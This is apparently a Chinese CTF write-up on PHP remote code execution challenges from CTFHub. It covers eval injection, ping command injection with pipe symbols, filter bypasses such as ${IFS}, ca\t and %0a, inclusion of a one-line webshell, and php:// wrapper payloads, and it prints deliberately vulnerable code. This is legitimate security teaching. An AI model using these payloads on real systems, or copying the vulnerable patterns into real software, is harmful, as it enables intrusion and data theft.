CTF RCE漏洞

RCE知识点:

  • 1. rce分为远程执行ping,和远程代码执行evel。

漏洞出现原因:未在输入口做输入处理。
涉及到ping命令:ping是windows,linux系统下的一个命令,ping也属于一个通信协议,是TCP/IP协议的一部分,利用ping命令可以检查网络是否连通,可以很好的帮助我们分析和判定网络故障。

  • 2.PHP 执行系统外部命令 system() exec() passthru()

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。
区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码

  • .LINUX系统的管道符:

1," ; ": 执行完前面的语句在执行后面的语句。
2.“ | “: 显示后面的语句的执行结果。
3.” || “:当前的语句执行出错时,执行后面的语句。
4.” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5.” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。

还有一些管道符:

  • windows系统是:
  • " | " :是直接后面的执行语句
  • “ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
  • " & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  • " && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

1.eval()执行
它的作用是把对应的字符串解析成js代码并运行(将json的字符串解析成为JSON对象)(详细)
打开题目看到代码:

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 
  • system()函数的作用为执行系统命令并输出执行结果
  • ls是列举目录
  • cat就是打开文件的意思

php中$_REQUEST可以获取以POST方法和GET方法提交的数据,cmd是参数,我们用get的方式进行传值,?cmd=system(“ls”);,最后一定要加分号,这样才符合PHP的写法;CTF RCE漏洞_第1张图片
查找上一级:CTF RCE漏洞_第2张图片
看到了flag文件,用cat打开
CTF RCE漏洞_第3张图片
这样就可以拿到flag了
2.命令注入
先看代码:


$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>

这是一个ping命令,我们先ping本地试试:CTF RCE漏洞_第4张图片
然后我们使用管道符:127.0.0.1|ls
CTF RCE漏洞_第5张图片
然后去查找上一级文件:127.0.0.1|ls /
CTF RCE漏洞_第6张图片然后打开文件 27510189983556.php:127.0.0.1| cat 27510189983556.phpCTF RCE漏洞_第7张图片拿到flag
3.其次就是一系列的过滤:
CTF RCE漏洞_第8张图片

  • 过滤空格 空格可以替换 <,<>, ${IFS}, $IFS,%20(space), %09(tab), $IFS$9,
  • 过滤目录分隔符,就是将 /过滤了
还是先ping一下
127.0.0.1
返回正常数据,使用管道符查看当前的位置文件有哪些
127.0.0.1|ls
回显是一个flag_is_here
使用;cd flag_is_here&&ls
回显了一个php文件
;cd flag_is_here&&cat flag_24324515113881.php
查看即可,查看源码
  • 过滤cat:
1.已知过滤了cat,所以就要搞事情了,有一种方法就是,ca\t,就是通过反斜杠,还是可以继续执行cat的功能。
2.也可以tac ,是反读取文件信息
  • 过滤很多操作符
过滤了|,&,;, ,/,cat,flag,ctfhub 
空格可以用${IFS} 
cat可以用more 
flag可以用正则f*** 
ctfhub应该用不到 
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
然后按着之前的思路去做就可以了

4.文件包含
CTF RCE漏洞_第9张图片

先看代码:


error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {//strpos()查找一个字符串在另一个字符串中出现的位置
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

打开shell.txt发现是含有一句话的木马,用include包含此文件

http://challenge-43486bf73166ed6f.sandbox.ctfhub.com:10800/?file=shell.txt

我们用蚁剑成功连接,密码为:ctfhub
CTF RCE漏洞_第10张图片
然后执行命令cat /flag :
在这里插入图片描述
5.php伪协议(详细参考文章)
先看代码

 <?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a> 

file参数前六个只能是php://,只能用php伪协议,我们抓个包并使用PHP伪协议:
CTF RCE漏洞_第11张图片
然后得到respnse:
CTF RCE漏洞_第12张图片
然后我们进行同样的步骤,将ls改为cat flag文件即可拿到flag
6.php伪协议读取源代码:
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
构造playlodshttp://challenge-640f4eefc4df2119.sandbox.ctfhub.com:10080/?file=php://filter/read=convert.base64-encode/resource=/flag
CTF RCE漏洞_第13张图片
用在线工具进行解码即可

你可能感兴趣的:(漏洞原理,web安全)